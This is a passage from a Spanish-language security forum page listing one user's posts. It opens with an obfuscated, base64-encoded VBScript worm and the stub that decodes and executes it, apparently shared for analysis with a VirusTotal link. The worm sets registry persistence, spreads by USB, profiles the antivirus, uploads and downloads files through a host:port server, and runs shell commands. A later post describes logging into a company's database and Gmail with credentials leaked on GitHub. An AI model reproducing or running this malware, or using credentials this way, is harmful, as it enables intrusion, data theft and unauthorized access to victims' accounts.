Ymouc2VuZCBwYXJhbQ0KcG9zdC@*9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KaWYgIGluZi@*9ICIiIHRoZW4NCmluZi@*9IGh3aWQgJiBzcGxpdGVyDQppbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3BsaXRlcg0KaW5mID0gaW5mIC@*mIHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncygiJXVzZXJuYW1lJSIpICYgc3BsaXRlcg0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBvcy@*9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KZm9yIGVhY2ggb3NpbmZvIGluIG9zDQppbmYgPSBpbmYgJiBvc2luZm8uY2FwdGlvbi@*mIHNwbGl0ZXINCmV4aXQgZm9yDQpuZXh0DQppbmYgPSBpbmYgJi@*icGx1cyIgJiBzcGxpdGVyDQppbmYgPSBpbmYgJiBzZWN1cml0eS@*mIHNwbGl0ZXINCmluZi@*9IGluZi@*mIHVzYnNwcmVhZGluZw0KaW5mb3JtYXRpb24gPSBpbmYNCmVsc2UNCmluZm9ybWF0aW9uID0gaW5mDQplbmQgaWYNCmVuZCBmdW5jdGlvbg0Kc3ViIHVwc3RhcnQgKCkNCm9uIGVycm9yIHJlc3VtZSBOZXh0DQpzaGVsbG9iai5yZWd3cml0ZS@*iSEtFWV9DVVJSRU5UX1VTRVJcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdC@*oaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZS@*vL0IgIi@*mIGNocncoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgY2hydygzNCkgLC@*iUkVHX1NaIg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIi@*mIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKD@*pLC@*gIndzY3JpcHQuZXhlIC8vQi@*iIC@*mIGNocncoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgY2hydygzNCkgLC@*iUkVHX1NaIg0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSx0cnVlDQpmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsc3RhcnR1cC@*mIGluc3RhbGxuYW1lICx0cnVlDQplbmQgc3ViDQpmdW5jdGlvbiBod2lkDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBkaXNrcy@*9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpDQpmb3IgZWFjaCBkaXNrIGluIGRpc2tzDQppZi@*gZGlzay52b2x1bWVzZXJpYWxudW1iZXIgPD4gIiIgdGhlbg0KaHdpZC@*9IGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyDQpleGl0IGZvcg0KZW5kIGlmDQpuZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIHNlY3VyaXR5DQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2VjdXJpdHkgPS@*iIg0Kc2V0IG9iandtaXNlcnZpY2UgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBjb2xpdGVtcy@*9IG9iandtaXNlcnZpY2UuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsLDQ4KQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KdmVyc2lvbnN0ci@*9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4d@*0KdmVyc2lvbnN0ci@*9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbi@*9IHZlcnNpb25zdHIgKD@*pICYgIi4iDQpmb3IgIHggPS@*xIHRvIHVib3VuZC@*odmVyc2lvbnN0cikNCm9zdmVyc2lvbi@*9IG9zdmVyc2lvbi@*mICB2ZXJzaW9uc3RyIChpKQ0KbmV4d@*0Kb3N2ZXJzaW9uID0gZXZhbC@*ob3N2ZXJzaW9uKQ0KaWYgIG9zdmVyc2lvbi@*+IDYgdGhlbiBzYy@*9ICJzZWN1cml0eWNlbnRlcjIiIGVsc2Ugc2MgPS@*ic2VjdXJpdHljZW50ZXIiDQpzZXQgb2Jqc2VjdXJpdHljZW50ZXIgPSBnZXRvYmplY3QoIndpbm1nbXRzOlxcbG9jYWxob3N0XHJvb3RcIi@*mIHNjKQ0KU2V0IGNvbGFudGl2aXJ1cy@*9IG9ianNlY3VyaXR5Y2VudGVyLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSBhbnRpdmlydXNwcm9kdWN0Iiwid3FsIiwwKQ0KZm9yIGVhY2ggb2JqYW50aXZpcnVzIGluIGNvbGFudGl2aXJ1cw0Kc2VjdXJpdHkgID0gc2VjdXJpdHkgICYgb2JqYW50aXZpcnVzLmRpc3BsYXluYW1lICYgIi@*uIg0KbmV4d@*0KaWYgc2VjdXJpdHkgID0gIiIgdGhlbiBzZWN1cml0eS@*gPS@*ibmFuLWF2Ig0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBpbnN0YW5jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnVzYnNwcmVhZGluZy@*9IHNoZWxsb2JqLnJlZ3JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIi@*mIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKD@*pICYgIlwiKQ0KaWYgdXNic3ByZWFkaW5nID0gIiIgdGhlbg0KaWYgbGNhc2UgKCBtaWQod3NjcmlwdC5zY3JpcHRmdWxsbmFtZSwyKSkgPS@*iOlwiICYgIGxjYXNlKGluc3RhbGxuYW1lKSB0aGVuDQp1c2JzcHJlYWRpbmcgPS@*idHJ1ZS@*tICIgJiBkYXRlDQpzaGVsbG9iai5yZWd3cml0ZS@*iSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdC@*oaW5zdGFsbG5hbWUsIi4iKSgwKS@*gJi@*iXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiDQplbHNlDQp1c2JzcHJlYWRpbmcgPS@*iZmFsc2UgLS@*iICYgZGF0ZQ0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLC@*gdXNic3ByZWFkaW5nLC@*iUkVHX1NaIg0KZW5kIGlmDQplbmQgSWYNCnVwc3RhcnQNCnNldCBzY3JpcHRmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0ZmlsZS@*od3NjcmlwdC5zY3JpcHRmdWxsbmFtZSkNCnNldCBpbnN0YWxsZnVsbG5hbWVzaG9ydC@*9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSkNCmlmICBsY2FzZS@*oc2NyaXB0ZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIDw+IGxjYXNlIChpbnN0YWxsZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIHRoZW4NCnNoZWxsb2JqLnJ1bi@*id3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0Kd3NjcmlwdC5xdWl0DQplbmQgSWYNCmVyci5jbGVhcg0Kc2V0IG9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW50ZXh0ZmlsZS@*oaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICw4LCBmYWxzZSkNCmlmICBlcnIubnVtYmVyID4gMCB0aGVuIHdzY3JpcHQucXVpd@*0KZW5kIGZ1bmN0aW9uDQpzdWIgc2l0ZWRvd25sb2FkZXIgKGZpbGV1cmwsZmlsZW5hbWUpDQpzdHJsaW5rID0gZmlsZXVyb@*0Kc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci@*mIGZpbGVuYW1lDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIgKQ0Kb2JqaHR0cGRvd25sb2FkLm9wZW4gImdldCIsIHN0cmxpbmssIGZhbHNlDQpvYmpodHRwZG93bmxvYWQuc2VuZ@*0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlZmlsZS@*oc3Ryc2F2ZXRvKQ0KZW5kIGlmDQppZiBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMj@*wIHRoZW4NCmRpbS@*gb2Jqc3RyZWFtZG93bmxvYWQNCnNldC@*gb2Jqc3RyZWFtZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbWRvd25sb2FkDQoudHlwZS@*9IDENCi5vcGVuDQoud3JpdGUgb2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlYm9keQ0KLnNhdmV0b2ZpbGUgc3Ryc2F2ZXRvDQouY2xvc2UNCmVuZCB3aXRoDQpzZXQgb2Jqc3RyZWFtZG93bmxvYWQgPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQpzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZS@*oc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZg0KZW5kIHN1Yg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQppZiBmaWxlZGlyID0gIiIgdGhlbg0KZmlsZWRpci@*9IGluc3RhbGxkaXINCmVuZCBpZg0Kc3Ryc2F2ZXRvID0gZmlsZWRpci@*mIG1pZC@*oZmlsZXVybCwgaW5zdHJyZXYgKGZpbGV1cmwsIlwiKS@*rIDEpDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpvYmpodHRwZG93bmxvYWQub3Blbi@*icG9zdCIsImh0dH@*6Ly8iICYgaG9zdC@*mICI6Ii@*mIHBvcnQgJiIvIi@*mICJpcy1zZW5kaW5nIi@*mIHNwbGl0ZXIgJiBmaWxldXJsLCBmYWxzZQ0Kb2JqaHR0cGRvd25sb2FkLnNlbmQgIiINCnNldCBvYmpmc29kb3dubG9hZC@*9IGNyZWF0ZW9iamVjdC@*oInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCm9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KaWYgIG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPS@*yMD@*gdGhlbg0KZGltICBvYmpzdHJlYW1kb3dubG9hZ@*0Kc2V0ICBvYmpzdHJlYW1kb3dubG9hZC@*9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCndpdGggb2Jqc3RyZWFtZG93bmxvYWQNCi50eXBlID0gMQ0KLm9wZW4NCi53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQouc2F2ZXRvZmlsZSBzdHJzYXZldG8NCi5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZC@*gPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQpzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZS@*oc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZg0KZW5kIHN1Yg0KZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsKQ0KZGltICBodHRwb2JqLG9ianN0cmVhbXVwbG9hZGUsYnVmZmVyDQpzZXQgIG9ianN0cmVhbXVwbG9hZGUgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbXVwbG9hZGUNCi50eXBlID0gMQ0KLm9wZW4NCi5sb2FkZnJvbWZpbGUgZmlsZXVyb@*0KYnVmZmVyID0gLnJlYWQNCi5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZC@*9IG5vdGhpbmcNCnNldCBodHRwb2JqID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpodHRwb2JqLm9wZW4gInBvc3QiLCJodHRwOi8vIi@*mIGhvc3QgJi@*iOiIgJiBwb3J0ICYiLyIgJi@*iaXMtcmVjdmluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCmh0dHBvYmouc2VuZCBidWZmZXINCmVuZCBmdW5jdGlvbg0KZnVuY3Rpb24gZW51bWRyaXZlci@*oKQ0KZm9yICBlYWNoIGRyaXZlIGluIGZpbGVzeXN0ZW1vYmouZHJpdmVzDQppZi@*gIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmVudW1kcml2ZXIgPSBlbnVtZHJpdmVyICYgZHJpdmUucGF0aC@*mICJ8Ii@*mIGRyaXZlLmRyaXZldHlwZS@*mIHNwbGl0ZXINCmVuZCBpZg0KbmV4d@*0KZW5kIEZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtZmFmIChlbnVtZGlyKQ0KZW51bWZhZi@*9IGVudW1kaXIgJiBzcGxpdGVyDQpmb3IgIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5zdWJmb2xkZXJzDQplbnVtZmFmID0gZW51bWZhZi@*mIGZvbGRlci5uYW1lICYgInwiICYgIiIgJi@*ifCIgJi@*iZCIgJi@*ifCIgJiBmb2xkZXIuYXR0cmlidXRlcy@*mIHNwbGl0ZXINCm5leHQNCmZvci@*gZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5maWxlcw0KZW51bWZhZi@*9IGVudW1mYWYgJiBmaWxlLm5hbWUgJi@*ifCIgJiBmaWxlLnNpemUgICYgInwiICYgImYiICYgInwiICYgZmlsZS5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KbmV4d@*0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtcHJvY2Vzcy@*oKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCBvYmp3bWlzZXJ2aWNlID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXC5ccm9vdFxjaW12MiIpDQpzZXQgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9wcm9jZXNzIiwsNDgpDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KZW51bXByb2Nlc3MgPSBlbnVtcHJvY2Vzcy@*mIG9iaml0ZW0ubmFtZS@*mICJ8Ig0KZW51bXByb2Nlc3MgPSBlbnVtcHJvY2Vzcy@*mIG9iaml0ZW0ucHJvY2Vzc2lkICYgInwiDQplbnVtcHJvY2Vzcy@*9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aC@*mIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0Kc3ViIGV4aXRwcm9jZXNzIChwaWQpDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2hlbGxvYmoucnVuICJ0YXNra2lsbC@*vRi@*vVC@*vUElEICIgJiBwaWQsNyx0cnVlDQplbmQgc3ViDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVyb@*0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQplbmQgc3ViDQpmdW5jdGlvbiBjbWRzaGVsbC@*oY21kKQ0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCnNldCBvZXhlYy@*9IHNoZWxsb2JqLmV4ZWMgKCIlY29tc3BlYyUgL2MgIi@*mIGNtZCkNCmlmIG5vdCBvZXhlYy5zdGRvdXQuYXRlbmRvZnN0cmVhbSB0aGVuDQpyZWFkYWxsZnJvbWFueS@*9IG9leGVjLnN0ZG91dC5yZWFkYWxsDQplbHNlaWYgbm90IG9leGVjLnN0ZGVyci5hdGVuZG9mc3RyZWFtIHRoZW4NCnJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3RkZXJyLnJlYWRhbGwNCmVsc2UNCnJlYWRhbGxmcm9tYW55ID0gIiINCmVuZCBpZg0KY21kc2hlbGwgPSByZWFkYWxsZnJvbWFueQ0KZW5kIGZ1bmN0aW9uDQo="
  26. res_ult = Replace(main_cont, mut_ex, the_const)
  27. zufc = encode_the_string64(Nothing, res_ult, 10, 87)
  28. End Function
  29.  
  30. Dim wiuryajf, li
  31. wiuryajf = co_bi_na_ry_2_str(zufc(0, Nothing, 0, 993), 4, 1, 2, 3)
  32. Private Function dskgfhaksdf()
  33. ExecuteGlobal wiuryajf
  34. dskgfhaksdf = ""
  35. End Function
  36. li = dskgfhaksdf()

:https://www.virustotal.com/es/file/8cfee0a9daaff3eeaa896fd41d4f39bf85fab3342a83e53d8c04b2d8102db0f6/analysis/1535044219/
6  Seguridad Informática / Análisis y Diseño de Malware / Para que se usa esta linea? en: 23 Mayo 2018, 07:57 am
Ando mirando un código de un malware y me parece curioso la siguiente linea de codigo,

Código
  1. If 728473480 = 728473480 + 1 Then End
  2.  
  3. Dim Kbq As Currency
  4. GoTo mLaTDlnIkoDA
  5. mLaTDlnIkoDA:
  6. Set oXML = CreateObject("Microsoft.XMLHTTP")
  7. Set oStream = CreateObject("Adodb.Stream")
  8.  
  9. If 743334101 = 743334101 + 1 Then End

Con que fin se usa? De hecho el malware la usa varias veces con diferente número a comparar
7  Programación / PHP / cURL y algo raro al printear valores en: 28 Junio 2017, 21:11 pm
Tengo una petición con cURL, algo básica y tonta... El caso es el siguiente, realizo una petición a x website, recolecto el valor en una variable y uso la función Desde_Hasta de WHK.

El problema es que en una petición, uso:
Código
  1. # Para recolectar el valor ejecutado de la petición en una variable
  2. curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
  3. # -- SNIP ----
  4. $Response = curl_exec($CH);
  5.  
  6. print htmlentities($Response, ENT_QUOTES);
Aquí la web me muestra en blanco, pero al usar lo mismo pero cambiando el htmlentities( por un echo / print normal, me muestra el valor que deseo, es decir,
Código
  1. # Para recolectar el valor ejecutado de la petición en una variable
  2. curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
  3. # -- SNIP ----
  4. $Response = curl_exec($CH);
  5.  
  6. print $Response;

Porque sucede esto? Que influye el htmlentities($String, ENT_QUOTES);
8  Seguridad Informática / Abril negro / Quien más se apunta? en: 6 Febrero 2017, 22:05 pm
Que onda, no he escrito en ninguno de los Abril Negro anteriores, este año vengo motivado a presentar un proyecto que tengo en compañia con uno amigo, no adelanto más  :silbar:, quien más se apunta?
9  Seguridad Informática / Nivel Web / GitHub como vector de ataque en: 11 Agosto 2016, 20:07 pm
GITHUB COMO VECTOR DE ATAQUE

Una vez auditando un sistema me encontré una cuenta en GitHub la cual contenía el código fuente de la aplicación, la cuenta era estándar así que se podía clonar y auditar directamente analizado el código en un entorno controlado. Esto me dio la idea de ver cuántas personas guardaban credenciales o información privada que ayudara a ingresar fácilmente en los sistemas/aplicaciones/plataformas. Esto fue lo que encontré:

Encontré una empresa la cual ofrece servicios de: Desarrollo Web, Aplicaciones Móviles, Soluciones Empresariales, Software a la Medida. Esta empresa utiliza una cuenta den GitHub donde publica los código fuentes de los servicios prestados.

Seleccione un repositorio e inicialmente vi que era un CMS Joomla, entre al archivo configuration.php, y vi los parámetros para la conexión a la base de datos.


Con HeidiSQL ingrese las credenciales y sorpresa!


Se pueden encontrar credenciales de correo electrónico, como por ejemplo:


Entramos al Gmail y sorpresa!


Se pueden encontrar archivos de SQL con las credenciales


No dispongo de mucho tiempo, pero ya alguien mas aportará de las cosas que se puede llegar a hacer con esos descuidos. Provechen y feliz Hack!
10  Programación / Programación Visual Basic / [Pregunta] Agregar Caracteres Especiales en: 27 Mayo 2016, 16:33 pm
Buenas,

Tengo un problema que no se como resolver, es algo simple: Necesito agregar en algunas celdas de Excel (entonces necesito la solución en VBA) varios caracteres especiales como: ≥ y ≤

El problema esta en qué, agregue el caracter a una celda y en VBA recupere el valor en con la función Asc, el resultado es igual para los dos casos y cuando lo agrego mediante el código VBA me muestra otro caracter.

Alguna idea?
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 24
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines